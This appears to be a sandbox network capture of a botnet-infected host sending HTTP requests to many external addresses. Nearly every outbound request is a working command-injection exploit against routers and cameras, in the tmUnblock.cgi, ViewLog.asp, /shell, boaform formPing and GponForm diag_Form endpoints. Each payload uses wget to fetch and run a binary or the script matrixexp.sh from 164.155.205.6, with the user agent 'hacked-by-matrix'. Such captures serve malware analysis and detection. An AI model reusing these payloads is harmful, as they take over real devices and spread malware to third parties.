Data Ascii: 6a(HML),I310Vp/JLII&T";Ct@}4l"(//=3YNf>%mx0HTTP/1.1 400 Bad RequestServer: nginxDate: Sat, 02 Mar 2024 11:38:27 GMTContent-Type: text/htmlConnection: close<html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1513	192.168.2.23	45830	172.64.167.220	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:27.891716957 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:28.166240931 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1514	192.168.2.23	40900	172.67.171.31	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:27.894992113 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:28.412142992 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:29.023343086 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:30.199884892 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:32.731205940 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:37.590842009 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:47.061520100 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1515	192.168.2.23	46422	206.2.193.221	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:27.895617008 CET	422	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:31.959671974 CET	422	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:32.121561050 CET	194	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Content-Encoding: gzip Server: Microsoft-HTTPAPI/2.0 Date: Sat, 02 Mar 2024 11:38:31 GMT Data Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 04 00 0d 0a Data Ascii: a
Mar 2, 2024 12:38:32.121625900 CET	32	IN	Data Raw: 31 61 0d 0a 01 15 00 ea ff ef bb bf e4 b8 8d e5 85 81 e8 ae b8 e8 ae bf e9 97 ae ef bc 81 0d 0a Data Ascii: 1a
Mar 2, 2024 12:38:32.121642113 CET	13	IN	Data Raw: 38 0d 0a e2 4f b6 33 15 00 00 00 0d 0a Data Ascii: 8O3
Mar 2, 2024 12:38:32.121666908 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1516	192.168.2.23	57726	178.238.223.193	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:27.930068016 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:28.121601105 CET	911	IN	HTTP/1.1 301 Moved Permanently Date: Sat, 02 Mar 2024 11:38:28 GMT Server: Apache Location: https://e-menza.hu/cgi-bin/ViewLog.asp Content-Length: 246 Keep-Alive: timeout=15, max=5000 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 65 2d 6d 65 6e 7a 61 2e 68 75 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 53 61 74 2c 20 30 32 20 4d 61 72 20 32 30 32 34 20 31 31 3a 33 38 3a 32 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://e-menza.hu/cgi-bin/ViewLog.asp">here</a>.</p></body></html>HTTP/1.1 400 Bad RequestDate: Sat, 02 Mar 2024 11:38:28 GMTServer: ApacheContent-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>
Mar 2, 2024 12:38:29.079788923 CET	911	IN	HTTP/1.1 301 Moved Permanently Date: Sat, 02 Mar 2024 11:38:28 GMT Server: Apache Location: https://e-menza.hu/cgi-bin/ViewLog.asp Content-Length: 246 Keep-Alive: timeout=15, max=5000 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 65 2d 6d 65 6e 7a 61 2e 68 75 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 53 61 74 2c 20 30 32 20 4d 61 72 20 32 30 32 34 20 31 31 3a 33 38 3a 32 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://e-menza.hu/cgi-bin/ViewLog.asp">here</a>.</p></body></html>HTTP/1.1 400 Bad RequestDate: Sat, 02 Mar 2024 11:38:28 GMTServer: ApacheContent-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>
Mar 2, 2024 12:38:30.253256083 CET	911	IN	HTTP/1.1 301 Moved Permanently Date: Sat, 02 Mar 2024 11:38:28 GMT Server: Apache Location: https://e-menza.hu/cgi-bin/ViewLog.asp Content-Length: 246 Keep-Alive: timeout=15, max=5000 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 65 2d 6d 65 6e 7a 61 2e 68 75 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 53 61 74 2c 20 30 32 20 4d 61 72 20 32 30 32 34 20 31 31 3a 33 38 3a 32 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://e-menza.hu/cgi-bin/ViewLog.asp">here</a>.</p></body></html>HTTP/1.1 400 Bad RequestDate: Sat, 02 Mar 2024 11:38:28 GMTServer: ApacheContent-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1517	192.168.2.23	52438	52.84.114.36	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:27.944422007 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:29.023343086 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:29.222625971 CET	927	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE

Session ID	Source IP	Source Port	Destination IP	Destination Port
1518	192.168.2.23	39372	213.155.184.204	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:28.075388908 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:28.263772964 CET	190	IN	HTTP/1.1 301 Moved Permanently Location: https://127.0.0.1:443/cgi-bin/ViewLog.asp Content-Length: 0 Connection: close Date: Sat, 02 Mar 2024 11:38:27 GMT Server: Server

Session ID	Source IP	Source Port	Destination IP	Destination Port
1519	192.168.2.23	37604	181.49.29.26	1723

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:28.122446060 CET	281	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:29.048053980 CET	281	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:30.135884047 CET	281	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:32.472687006 CET	281	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:36.822961092 CET	281	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1520	192.168.2.23	50296	37.159.149.6	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:28.203361988 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1521	192.168.2.23	51698	210.31.149.111	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:28.203361988 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1522	192.168.2.23	55418	212.59.80.204	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:28.203411102 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1523	192.168.2.23	42066	2.137.78.24	443

Timestamp	Bytes transferred	Direction	Data
